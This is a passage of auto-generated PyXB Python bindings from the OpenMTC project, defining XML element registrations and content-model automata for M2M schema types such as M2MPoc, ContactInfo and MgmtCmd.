function from the namespace after it is invoked global _BuildAutomaton_51 del _BuildAutomaton_51 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd', 13, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd', 14, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd', 15, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd', 16, 12)) counters.add(cc_3) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(LocationContainerAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'link')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(LocationContainerAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(LocationContainerAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(LocationContainerAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(LocationContainerAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'announceTo')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/locationContainerAnnc.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) LocationContainerAnnc._Automaton = _BuildAutomaton_51() M2MPoc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=M2MPoc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) M2MPoc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=M2MPoc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) M2MPoc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=M2MPoc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) M2MPoc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'onlineStatus'), OnlineStatus, scope=M2MPoc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 126, 4))) M2MPoc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contactInfo'), ContactInfo, scope=M2MPoc, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 23, 4))) def _BuildAutomaton_52(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_52 del _BuildAutomaton_52 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 15, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 16, 12)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(M2MPoc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contactInfo')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(M2MPoc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(M2MPoc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'onlineStatus')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(M2MPoc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(M2MPoc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) M2MPoc._Automaton = _BuildAutomaton_52() ContactInfo._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contactURI'), pyxb.binding.datatypes.anyURI, scope=ContactInfo, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 136, 4))) ContactInfo._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'other'), pyxb.binding.datatypes.anyType, scope=ContactInfo, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 32, 4))) def _BuildAutomaton_53(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_53 del _BuildAutomaton_53 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(ContactInfo._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contactURI')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 26, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(ContactInfo._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'other')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd', 27, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] st_0._set_transitionSet(transitions) transitions = [] st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) ContactInfo._Automaton = _BuildAutomaton_53() M2MPocs._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=M2MPocs, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) M2MPocs._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=M2MPocs, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) M2MPocs._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'm2mPocCollection'), NamedReferenceCollection, scope=M2MPocs, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd', 19, 4))) def _BuildAutomaton_54(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_54 del _BuildAutomaton_54 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd', 15, 12)) counters.add(cc_2) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(M2MPocs._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(M2MPocs._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(M2MPocs._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'm2mPocCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd', 15, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) M2MPocs._Automaton = _BuildAutomaton_54() CTD_ANON_._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'status'), CTD_ANON_2, scope=CTD_ANON_, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 15, 16))) def _BuildAutomaton_55(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_55 del _BuildAutomaton_55 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 15, 16)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse( CTD_ANON_._UseForTag(pyxb.namespace.ExpandedName(None, u'status')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 15, 16)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) CTD_ANON_._Automaton = _BuildAutomaton_55() CTD_ANON_2._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'statusCode'), pyxb.binding.datatypes.string, scope=CTD_ANON_2, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 18, 28))) CTD_ANON_2._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'eTag'), pyxb.binding.datatypes.string, scope=CTD_ANON_2, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 19, 28))) CTD_ANON_2._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'resourceURI'), pyxb.binding.datatypes.anyURI, scope=CTD_ANON_2, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 20, 28))) CTD_ANON_2._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=CTD_ANON_2, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 21, 28))) CTD_ANON_2._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'resultBody'), _ImportedBinding__xmlmime.base64Binary, scope=CTD_ANON_2, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 23, 28))) def _BuildAutomaton_56(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_56 del _BuildAutomaton_56 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 19, 28)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 21, 28)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 23, 28)) counters.add(cc_2) states = [] final_update = None symbol = pyxb.binding.content.ElementUse( CTD_ANON_2._UseForTag(pyxb.namespace.ExpandedName(None, u'statusCode')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 18, 28)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse( CTD_ANON_2._UseForTag(pyxb.namespace.ExpandedName(None, u'eTag')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 19, 28)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() symbol = pyxb.binding.content.ElementUse(CTD_ANON_2._UseForTag( pyxb.namespace.ExpandedName(None, u'resourceURI')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 20, 28)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(CTD_ANON_2._UseForTag( pyxb.namespace.ExpandedName(None, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 21, 28)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse( CTD_ANON_2._UseForTag(pyxb.namespace.ExpandedName(None, u'resultBody')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd', 23, 28)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) CTD_ANON_2._Automaton = _BuildAutomaton_56() MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=MgmtCmd, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=MgmtCmd, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=MgmtCmd, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=MgmtCmd, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=MgmtCmd, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=MgmtCmd, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'description'), pyxb.binding.datatypes.string, scope=MgmtCmd, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 12, 4))) MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'cmdType'), CmdType, scope=MgmtCmd, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 34, 4))) MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'execEnable'), pyxb.binding.datatypes.anyURI, scope=MgmtCmd, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 47, 4))) MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'execReqArgs'), ExecReqArgsList, scope=MgmtCmd, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 49, 4))) MgmtCmd._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'execInstancesReference'), pyxb.binding.datatypes.anyURI, scope=MgmtCmd, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 64, 4))) def _BuildAutomaton_57(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_57 del _BuildAutomaton_57 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 13, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 14, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 15, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 16, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 17, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 20, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 21, 12)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 22, 12)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 23, 12)) counters.add(cc_8) cc_9 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 26, 12)) counters.add(cc_9) cc_10 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 27, 12)) counters.add(cc_10) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 13, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 14, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 15, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 16, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag( pyxb.namespace.ExpandedName(Namespace, 